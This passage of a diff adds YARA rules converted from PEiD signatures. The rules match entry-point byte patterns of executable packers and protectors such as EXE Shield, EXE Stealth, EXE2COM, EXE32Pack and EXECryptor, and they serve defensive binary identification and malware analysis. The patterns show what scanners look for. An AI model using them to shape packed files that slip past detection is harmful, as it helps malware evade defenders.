+        $a at pe.entry_point
+}
+
+rule PEiD_00563_EXE_Shield_0_5____Smoke_
+{
+    meta:
+        description = "[EXE Shield 0.5 -> Smoke]"
+        ep_only = "false"
+    strings:
+        $a = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D 81 ED BC 1A 40 00 EB 01 00 8D B5 46 1B 40 00 BA B3 0A 00 00 EB 01 00 8D 8D F9 25 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40}
+    condition:
+        $a
+}
+
+rule PEiD_00564_Exe_Shield_2_7b_
+{
+    meta:
+        description = "[Exe Shield 2.7b]"
+        ep_only = "false"
+    strings:
+        $a = {EB 06 68 40 85 06 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 00 87 DD 8B 85 E6 90 40 00 01 85 33 90 40 00 66 C7 85 30 90 40 00 90 90 01 85 DA 90 40 00 01 85 DE 90 40 00 01 85 E2 90 40 00 BB 7B 11 00 00 03 9D EA 90 40}
+    condition:
+        $a
+}
+
+rule PEiD_00565_EXE_Shield_v0_1b___v0_3b__v0_3____SMoKE_
+{
+    meta:
+        description = "[EXE Shield v0.1b - v0.3b, v0.3 -> SMoKE]"
+        ep_only = "true"
+    strings:
+        $a = {E8 04 00 00 00 83 60 EB 0C 5D EB 05}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00566_EXE_Shield_V0_5____Smoke_
+{
+    meta:
+        description = "[EXE Shield V0.5 -> Smoke]"
+        ep_only = "true"
+    strings:
+        $a = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D 81 ED BC 1A 40 00 EB 01 00 8D B5 46 1B 40 00 BA B3 0A 00 00 EB 01 00 8D 8D F9 25 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40 50 C3 8A 06 46 EB 01 00 D0 C8 E8 14 00 00 00 83 EB 01 00 2A C2 E8 00 00 00 00 5B 83 C3 07 53 C3 00 EB 04 5B 43 53 C3 EB 01 00 32 C2 E8 0B 00 00 00 00 32 C1 EB 01 00 C0 C0 02 EB 09 2A C2 5B EB 01 00 43 53 C3 88 07 EB 01 00 47 4A 75 B4 90}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00567_EXE_Shield_V0_6____SMoKE_
+{
+    meta:
+        description = "[EXE Shield V0.6 -> SMoKE]"
+        ep_only = "false"
+    strings:
+        $a = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D 81 ED D4 1A 40 00 EB 01 00 8D B5 5E 1B 40 00 BA A1 0B 00 00 EB 01 00 8D 8D FF 26 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40}
+    condition:
+        $a
+}
+
+rule PEiD_00568_EXE_Shield_V0_6____SMoKE_
+{
+    meta:
+        description = "[EXE Shield V0.6 -> SMoKE]"
+        ep_only = "true"
+    strings:
+        $a = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D 81 ED D4 1A 40 00 EB 01 00 8D B5 5E 1B 40 00 BA A1 0B 00 00 EB 01 00 8D 8D FF 26 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40 50 C3 8A 06 46 EB 01 00 D0 C8 E8 14 00 00 00 83 EB 01 00 2A C2 E8 00 00 00 00 5B 83 C3 07 53 C3 00 EB 04 5B 43 53 C3 EB 01 00 32 C2 E8 0B 00 00 00 00 32 C1 EB 01 00 C0 C0 02 EB 09 2A C2 5B EB 01 00 43 53 C3 88 07 EB 01 00 47 4A 75 B4 90}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00569_Exe_Shield_v1_7_
+{
+    meta:
+        description = "[Exe Shield v1.7]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 90 1F 06 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00570_Exe_Shield_v2_7_
+{
+    meta:
+        description = "[Exe Shield v2.7]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 F4 86 06 00 C3 9C 60 E8 02 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00571_Exe_Shield_v2_7b_
+{
+    meta:
+        description = "[Exe Shield v2.7b]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 40 85 06 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 00 87 DD 8B 85 E6 90 40 00 01 85 33 90 40 00 66 C7 85 30 90 40 00 90 90 01 85 DA 90 40 00 01 85 DE 90 40 00 01 85 E2 90 40 00 BB 7B 11 00 00 03 9D EA 90 40 00 03 9D E6 90 40 00 53 8B C3 8B FB 2D AC 90 40 00 89 85 AD 90 40 00 8D B5 AC 90 40 00 B9 40 04 00 00 F3 A5 8B FB C3 BD 00 00 00 00 8B F7 83 C6 54 81 C7 FF 10 00 00 56 57 57 56 FF 95 DA 90 40 00 8B C8 5E 5F 8B C1 C1 F9 02 F3 A5 03 C8 83 E1 03 F3 A4 EB 26 D0 12 5B 00 AC 12 5B 00 48 12 5B 00 00 00 40 00 00 D0 5A 00 00 10 5B 00 87 DB 87 DB 87 DB 87 DB 87 DB 87 DB 87 DB 8B 0E B5 E6 90 40 07 56 03 76 EE 0F 18 83 C6 14 12 35 97 80 8D BD 63 39 0D B9 06 86 02 07 F3 A5 6A 04 68 06 10 12 1B FF B5 51 29 EE 10 22 95}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00572_Exe_Shield_v2_9_
+{
+    meta:
+        description = "[Exe Shield v2.9]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 0B 20 40 00 B9 EB 08 00 00 8D BD 53 20 40 00 8B F7 AC ?? ?? ?? F8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00573_Exe_Shield_vx_x_
+{
+    meta:
+        description = "[Exe Shield vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {65 78 65 73 68 6C 2E 64 6C 6C C0 5D 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00574_EXE_Stealth_2_5_
+{
+    meta:
+        description = "[EXE Stealth 2.5]"
+        ep_only = "false"
+    strings:
+        $a = {60 90 EB 22 45 78 65 53 74 65 61 6C 74 68 20 2D 20 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D E8 00 00 00 00 5D 81 ED 40 1E 40 00 B9 99 09 00 00 8D BD 88 1E 40 00 8B F7 AC}
+    condition:
+        $a
+}
+
+rule PEiD_00575_EXE_Stealth_2_73_
+{
+    meta:
+        description = "[EXE Stealth 2.73]"
+        ep_only = "false"
+    strings:
+        $a = {EB 00 EB 2F 53 68 61 72 65 77 61 72 65 20 2D 20 45 78 65 53 74 65 61 6C 74 68 00 EB 16 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 00 60 90 E8 00 00 00 00 5D 81 ED F0 27 40 00 B9 15 00 00 00 83 C1 05 EB 05 EB FE 83 C7 56 EB 00 83 E9 02}
+    condition:
+        $a
+}
+
+rule PEiD_00576_EXE_Stealth_2_74_
+{
+    meta:
+        description = "[EXE Stealth 2.74]"
+        ep_only = "false"
+    strings:
+        $a = {EB 00 EB 17 53 68 61 72 65 77 61 72 65 20 2D 20 45 78 65 53 74 65 61 6C 74 68 00 60 90 E8 00 00 00 00 5D 81 ED C4 27 40 00 B9 15 00 00 00 83 C1 04 83 C1 01 EB 05 EB FE 83 C7 56 EB 00 83 E9 02 81 C1 78 43 27 65 EB 00 81 C1 10 25 94 00 81 E9 63 85 00 00 B9}
+    condition:
+        $a
+}
+
+rule PEiD_00577_Exe_Stealth_2_75a____WebtoolMaster_
+{
+    meta:
+        description = "[Exe Stealth 2.75a -> WebtoolMaster]"
+        ep_only = "true"
+    strings:
+        $a = {EB 58 53 68 61 72 65 77 61 72 65 2D 56 65 72 73 69 6F 6E 20 45 78 65 53 74 65 61 6C 74 68 2C 20 63 6F 6E 74 61 63 74 20 73 75 70 70 6F 72 74 40 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 20 2D 20 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00578_Exe_Stealth_2_75a____WebtoolMaster_
+{
+    meta:
+        description = "[Exe Stealth 2.75a -> WebtoolMaster]"
+        ep_only = "true"
+    strings:
+        $a = {EB 58 53 68 61 72 65 77 61 72 65 2D 56 65 72 73 69 6F 6E 20 45 78 65 53 74 65 61 6C 74 68 2C 20 63 6F 6E 74 61 63 74 20 73 75 70 70 6F 72 74 40 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 20 2D 20 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 00 90 60 90 E8 00 00 00 00 5D 81 ED F7 27 40 00 B9 15 00 00 00 83 C1 04 83 C1 01 EB 05 EB FE 83 C7 56 EB 00 EB 00 83 E9 02 81 C1 78 43 27 65 EB 00 81 C1 10 25 94 00 81 E9 63 85 00 00 B9 96 0C 00 00 90 8D BD 74 28 40 00 8B F7 AC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00579_EXE_Stealth_v1_1_
+{
+    meta:
+        description = "[EXE Stealth v1.1]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED FB 1D 40 00 B9 7B 09 00 00 8B F7 AC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00580_EXE_Stealth_v2_71_
+{
+    meta:
+        description = "[EXE Stealth v2.71]"
+        ep_only = "true"
+    strings:
+        $a = {EB 00 60 EB 00 E8 00 00 00 00 5D 81 ED B0 27 40}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00581_EXE_Stealth_v2_72_
+{
+    meta:
+        description = "[EXE Stealth v2.72]"
+        ep_only = "true"
+    strings:
+        $a = {EB 00 EB 2F 53 68 61 72 65 77 61 72 65 20 2D 20}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00582_EXE_Stealth_v2_76____WebToolMaster_
+{
+    meta:
+        description = "[EXE Stealth v2.76 -> WebToolMaster]"
+        ep_only = "true"
+    strings:
+        $a = {EB 65 45 78 65 53 74 65 61 6C 74 68 20 56 32 20 2D 20 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 20 59 4F 55 52 20 41 44 20 48 45 52 45 21 50 69 52 41 43 59 20 69 53 20 41}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00583_EXE_Stealth_v2_7_
+{
+    meta:
+        description = "[EXE Stealth v2.7]"
+        ep_only = "true"
+    strings:
+        $a = {EB 00 60 EB 00 E8 00 00 00 00 5D 81 ED D3 26 40}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00584_EXE2COM__Encrypted_without_selfcheck__
+{
+    meta:
+        description = "[EXE2COM (Encrypted without selfcheck)]"
+        ep_only = "true"
+    strings:
+        $a = {B3 ?? B9 ?? ?? BE ?? ?? BF ?? ?? EB ?? 54 69 ?? ?? ?? ?? 03 ?? ?? 32 C3 AA 43 49 E3 ?? EB ?? BE ?? ?? 8B C6}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00585_EXE2COM__Limited__
+{
+    meta:
+        description = "[EXE2COM (Limited)]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? 8B 04 3D ?? ?? 74 ?? BA ?? ?? B4 09 CD 21 CD 20}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00586_EXE2COM__Method_1__
+{
+    meta:
+        description = "[EXE2COM (Method 1)]"
+        ep_only = "true"
+    strings:
+        $a = {8C DB BE ?? ?? 8B C6 B1 ?? D3 E8 03 C3 03 ?? ?? A3 ?? ?? 8C C8 05 ?? ?? A3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00587_EXE2COM__Packed__
+{
+    meta:
+        description = "[EXE2COM (Packed)]"
+        ep_only = "true"
+    strings:
+        $a = {BD ?? ?? 89 ?? ?? ?? 81 ?? ?? ?? ?? ?? 8C ?? ?? ?? 8C C8 05 ?? ?? 8E C0 BE ?? ?? 8B FE 0E 57 54 59 F3 A4 06 68 ?? ?? CB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00588_EXE2COM__regular__
+{
+    meta:
+        description = "[EXE2COM (regular)]"
+        ep_only = "true"
+    strings:
+        $a = {E9 8C CA 81 C3 ?? ?? 3B 16 ?? ?? 76 ?? BA ?? ?? B4 09 CD 21 CD 20 0D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00589_EXE2COM__With_CRC_check__
+{
+    meta:
+        description = "[EXE2COM (With CRC check)]"
+        ep_only = "true"
+    strings:
+        $a = {B3 ?? B9 ?? ?? 33 D2 BE ?? ?? 8B FE AC 32 C3 AA 43 49 32 E4 03 D0 E3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00590_EXE32Pack_v1_36_
+{
+    meta:
+        description = "[EXE32Pack v1.36]"
+        ep_only = "true"
+    strings:
+        $a = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? ?? ?? ?? ?? 3B DB 74 01 BE 5D 8B D5 81 ED CC 8D 40}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00591_EXE32Pack_v1_37_
+{
+    meta:
+        description = "[EXE32Pack v1.37]"
+        ep_only = "true"
+    strings:
+        $a = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? ?? ?? ?? ?? 3B DB 74 01 BE 5D 8B D5 81 ED 4C 8E 40}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00592_EXE32Pack_v1_38_
+{
+    meta:
+        description = "[EXE32Pack v1.38]"
+        ep_only = "true"
+    strings:
+        $a = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? ?? ?? ?? ?? 3B DB 74 01 BE 5D 8B D5 81 ED DC 8D 40}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00593_EXE32Pack_v1_39_
+{
+    meta:
+        description = "[EXE32Pack v1.39]"
+        ep_only = "true"
+    strings:
+        $a = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? ?? ?? ?? ?? 3B DB 74 01 BE 5D 8B D5 81 ED EC 8D 40}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00594_EXE32Pack_v1_3x_
+{
+    meta:
+        description = "[EXE32Pack v1.3x]"
+        ep_only = "true"
+    strings:
+        $a = {3B ?? 74 02 81 83 55 3B ?? 74 02 81 ?? 53 3B ?? 74 01 ?? ?? ?? ?? ?? 02 81 ?? ?? E8 ?? ?? ?? ?? 3B 74 01 ?? 5D 8B D5 81 ED}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00595_ExeBundle_v3_0__small_loader__
+{
+    meta:
+        description = "[ExeBundle v3.0 (small loader)]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 60 BE 00 F0 40 00 8D BE 00 20 FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00596_ExeBundle_v3_0__standard_loader__
+{
+    meta:
+        description = "[ExeBundle v3.0 (standard loader)]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 60 BE 00 B0 42 00 8D BE 00 60 FD FF C7 87 B0 E4 02 00 31 3C 4B DF 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00597_EXECrypt_1_0____ReBirth_
+{
+    meta:
+        description = "[EXECrypt 1.0 -> ReBirth]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 60 E8 00 00 00 00 5D 81 ED D1 27 40 00 B9 15 00 00 00 83 C1 04 83 C1 01 EB 05 EB FE 83 C7 56 EB 00 EB 00 83 E9 02 81 C1 78 43 27 65 EB 00 81 C1 10 25 94 00 81 E9 63 85 00 00 B9 96 0C 00 00 90 8D BD 4E 28 40 00 8B F7 AC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00598_EXECryptor_2_0_2_1__protected_IAT_____www_strongbit_com___Sign_By_haggar_
+{
+    meta:
+        description = "[EXECryptor 2.0/2.1 (protected IAT) -> www.strongbit.com * Sign.By.haggar]"
+        ep_only = "false"
+    strings:
+        $a = {A4 ?? ?? ?? 00 00 00 00 FF FF FF FF 3C ?? ?? ?? 94 ?? ?? ?? D8 ?? ?? ?? 00 00 00 00 FF FF FF FF B8 ?? ?? ?? D4 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 60 ?? ?? ?? 70 ?? ?? ?? 84 ?? ?? ?? 00 00 00 00 75 73 65 72 33 32 2E 64 6C 6C 00 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41}
+    condition:
+        $a
+}
+
+rule PEiD_00599_EXECryptor_2_0_2_1__protected_IAT_____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.0/2.1 (protected IAT) -> www.strongbit.com]"
+        ep_only = "true"
+    strings:
+        $a = {A4 ?? ?? ?? 00 00 00 00 FF FF FF FF 3C ?? ?? ?? 94 ?? ?? ?? D8 ?? ?? ?? 00 00 00 00 FF FF FF FF B8 ?? ?? ?? D4 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 47 65 74 4D 6F 64 75}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00600_EXECryptor_2_0_2_1____www_strongbit_com___Sign_By_haggar_
+{
+    meta:
+        description = "[EXECryptor 2.0/2.1 -> www.strongbit.com * Sign.By.haggar]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 F4 56 57 53 BE ?? ?? ?? ?? B8 00 00 ?? ?? 89 45 FC 89 C2 8B 46 0C 09 C0 0F 84 ?? 00 00 00 01 D0 89 C3 50 FF 15 94 ?? ?? ?? 09 C0 0F 85 0F 00 00 00 53 FF 15 98 ?? ?? ?? 09 C0 0F 84 ?? 00 00 00 89 45 F8 6A 00 8F 45 F4 8B 06 09 C0 8B 55 FC 0F 85 03 00 00 00 8B 46 10 01 D0 03 45 F4 8B 18 8B 7E 10 01 D7 03 7D F4 09 DB 0F 84 ?? 00 00 00 F7 C3 00 00 00 80 0F 85 04 00 00 00 8D 5C 13 02 81 E3 FF FF FF ?? 53 FF 75 F8 FF 15 9C ?? ?? ?? 09 C0 0F 84 ?? 00 00 00 89 07 83 45 F4 04 E9 A6 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_00601_EXECryptor_2_0_2_1____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.0/2.1 -> www.strongbit.com]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F4 56 57 53 BE ?? ?? ?? ?? B8 00 00 ?? ?? 89 45 FC 89 C2 8B 46 0C 09 C0 0F 84 ?? 00 00 00 01 D0 89 C3 50 FF 15 94 ?? ?? ?? 09 C0 0F 85 0F 00 00 00 53 FF 15 98 ?? ?? ?? 09 C0 0F 84 ?? 00 00 00 89 45 F8 6A 00 8F 45 F4 8B 06 09 C0 8B 55 FC 0F}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00602_EXECryptor_2_1_17____Strongbit___SoftComplete_Development__h__
+{
+    meta:
+        description = "[EXECryptor 2.1.17 -> Strongbit / SoftComplete Development (h)]"
+        ep_only = "false"
+    strings:
+        $a = {BE ?? ?? ?? ?? B8 00 00 ?? ?? 89 45 FC 89 C2 8B 46 0C 09 C0 0F 84 ?? 00 00 00 01 D0 89 C3 50 FF 15 94 ?? ?? ?? 09 C0 0F 85 0F 00 00 00 53 FF 15 98 ?? ?? ?? 09 C0 0F 84 ?? 00 00 00 89 45 F8 6A 00 8F 45 F4 8B 06 09 C0 8B 55 FC 0F 85 03 00 00 00 8B 46 10 01}
+    condition:
+        $a
+}
+
+rule PEiD_00603_EXECryptor_2_1_17____Strongbit_SoftComplete_Development__h__
+{
+    meta:
+        description = "[EXECryptor 2.1.17 -> Strongbit/SoftComplete Development (h)]"
+        ep_only = "false"
+    strings:
+        $a = {BE ?? ?? ?? ?? B8 00 00 ?? ?? 89 45 FC 89 C2 8B 46 0C 09 C0 0F 84 ?? 00 00 00 01 D0 89 C3 50 FF 15 94 ?? ?? ?? 09 C0 0F 85 0F 00 00 00 53 FF 15 98 ?? ?? ?? 09 C0 0F 84 ?? 00 00 00 89 45 F8 6A 00 8F 45 F4 8B 06 09 C0 8B 55 FC 0F 85 03 00 00 00 8B 46 10 01 D0 03 45 F4 8B 18 8B 7E 10 01 D7 03 7D F4 09 DB 0F 84 ?? 00 00 00 F7 C3 00 00 00 80 0F 85 04 00 00 00 8D 5C 13 02 81 E3 FF FF FF 7F 53 FF 75 F8 FF 15 9C ?? ?? ?? 09 C0 0F 84 ?? 00 00 00 89 07 83 45 F4 04 E9 A6 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_00604_EXECryptor_2_2_4____Strongbit_SoftComplete_Development__h1__
+{
+    meta:
+        description = "[EXECryptor 2.2.4 -> Strongbit/SoftComplete Development (h1)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 F7 FE FF FF 05 ?? ?? 00 00 FF E0 E8 EB FE FF FF 05 ?? ?? 00 00 FF E0 E8 04 00 00 00 FF FF FF FF 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00605_EXECryptor_2_2_4____Strongbit_SoftComplete_Development__h2__
+{
+    meta:
+        description = "[EXECryptor 2.2.4 -> Strongbit/SoftComplete Development (h2)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 F7 FE FF FF 05 ?? ?? 00 00 FF E0 E8 EB FE FF FF 05 ?? ?? 00 00 FF E0 E8 ?? 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00606_EXECryptor_2_2_4____Strongbit_SoftComplete_Development_
+{
+    meta:
+        description = "[EXECryptor 2.2.4 -> Strongbit/SoftComplete Development]"
+        ep_only = "false"
+    strings:
+        $a = {6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 00 00 00 45 78 69 74 50 72 6F 63 65 73 73}
+    condition:
+        $a
+}
+
+rule PEiD_00607_EXECryptor_2_2_6__minimum_protection_____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.2.6 (minimum protection) -> www.strongbit.com]"
+        ep_only = "false"
+    strings:
+        $a = {50 68 ?? ?? ?? ?? 58 81 E0 ?? ?? ?? ?? E9 ?? ?? ?? 00 87 0C 24 59 E8 ?? ?? ?? 00 89 45 F8 E9 ?? ?? ?? ?? 0F 83 ?? ?? ?? 00 E9 ?? ?? ?? ?? 87 14 24 5A 57 68 ?? ?? ?? ?? E9 ?? ?? ?? ?? 58 81 C0 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? 81 C8 ?? ?? ?? ?? 81 E0}
+    condition:
+        $a
+}
+
+rule PEiD_00608_EXECryptor_2_2_6__minimum_protection__
+{
+    meta:
+        description = "[EXECryptor 2.2.6 (minimum protection)]"
+        ep_only = "true"
+    strings:
+        $a = {50 68 ?? ?? ?? ?? 58 81 E0 ?? ?? ?? ?? E9 ?? ?? ?? 00 87 0C 24 59 E8 ?? ?? ?? 00 89 45 F8 E9 ?? ?? ?? ?? 0F 83 ?? ?? ?? 00 E9 ?? ?? ?? ?? 87 14 24 5A 57 68 ?? ?? ?? ?? E9 ?? ?? ?? ?? 58 81 C0 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? 81 C8 ?? ?? ?? ?? 81 E0 ?? ?? ?? ?? E9 ?? ?? ?? 00 C3 E9 ?? ?? ?? ?? C3 BF ?? ?? ?? ?? 81 CB ?? ?? ?? ?? BA ?? ?? ?? ?? 52 E9 ?? ?? ?? 00 E8 ?? ?? ?? 00 E9 ?? ?? ?? 00 E9 ?? ?? ?? ?? 87 34 24 5E 66 8B 00 66 25 ?? ?? E9 ?? ?? ?? ?? 8B CD 87 0C 24 8B EC 51 89 EC 5D 8B 05 ?? ?? ?? ?? 09 C0 E9 ?? ?? ?? ?? 59 81 C1 ?? ?? ?? ?? C1 C1 ?? 23 0D ?? ?? ?? ?? 81 F9 ?? ?? ?? ?? E9 ?? ?? ?? ?? C3 E9 ?? ?? ?? 00 13 D0 0B F9 E9 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 8B 64 24 08 31 C0 64 8F 05 00 00 00 00 5A E9 ?? ?? ?? ?? 3C A4 0F 85 ?? ?? ?? 00 8B 45 FC 66 81 38 ?? ?? 0F 84 05 00 00 00 E9 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? E9 ?? ?? ?? ?? 87 3C 24 5F 31 DB 31 C9 31 D2 68 ?? ?? ?? ?? E9 ?? ?? ?? ?? 89 45 FC 33 C0 89 45 F4 83 7D FC 00 E9 ?? ?? ?? ?? 53 52 8B D1 87 14 24 81 C0 ?? ?? ?? ?? 0F 88 ?? ?? ?? ?? 3B CB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00609_EXECryptor_2_2_6_DLL__minimum_protection_____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.2.6 DLL (minimum protection) -> www.strongbit.com]"
+        ep_only = "false"
+    strings:
+        $a = {50 8B C6 87 04 24 68 ?? ?? ?? ?? 5E E9 ?? ?? ?? ?? 85 C8 E9 ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? 0F 81 ?? ?? ?? 00 81 FA ?? ?? ?? ?? 33 D0 E9 ?? ?? ?? 00 0F 8D ?? ?? ?? 00 81 D5 ?? ?? ?? ?? F7 D1 0B 15 ?? ?? ?? ?? C1 C2 ?? 81 C2 ?? ?? ?? ?? 9D E9 ?? ?? ?? ?? C1}
+    condition:
+        $a
+}
+
+rule PEiD_00610_EXECryptor_2_2_6_DLL__minimum_protection__
+{
+    meta:
+        description = "[EXECryptor 2.2.6 DLL (minimum protection)]"
+        ep_only = "true"
+    strings:
+        $a = {50 8B C6 87 04 24 68 ?? ?? ?? ?? 5E E9 ?? ?? ?? ?? 85 C8 E9 ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? 0F 81 ?? ?? ?? 00 81 FA ?? ?? ?? ?? 33 D0 E9 ?? ?? ?? 00 0F 8D ?? ?? ?? 00 81 D5 ?? ?? ?? ?? F7 D1 0B 15 ?? ?? ?? ?? C1 C2 ?? 81 C2 ?? ?? ?? ?? 9D E9 ?? ?? ?? ?? C1 E2 ?? C1 E8 ?? 81 EA ?? ?? ?? ?? 13 DA 81 E9 ?? ?? ?? ?? 87 04 24 8B C8 E9 ?? ?? ?? ?? 55 8B EC 83 C4 F8 89 45 FC 8B 45 FC 89 45 F8 8B 45 08 E9 ?? ?? ?? ?? 8B 45 E0 C6 00 00 FF 45 E4 E9 ?? ?? ?? ?? FF 45 E4 E9 ?? ?? ?? 00 F7 D3 0F 81 ?? ?? ?? ?? E9 ?? ?? ?? ?? 87 34 24 5E 8B 45 F4 E8 ?? ?? ?? 00 8B 45 F4 8B E5 5D C3 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00611_EXECryptor_2_2_x____SoftComplete_Developement_
+{
+    meta:
+        description = "[EXECryptor 2.2.x -> SoftComplete Developement]"
+        ep_only = "false"
+    strings:
+        $a = {E8 F7 FE FF FF 05 ?? ?? 00 00 FF E0 E8 EB FE FF FF 05 ?? ?? 00 00 FF E0 E8 04 00 00 00 FF FF FF FF}
+    condition:
+        $a
+}
+
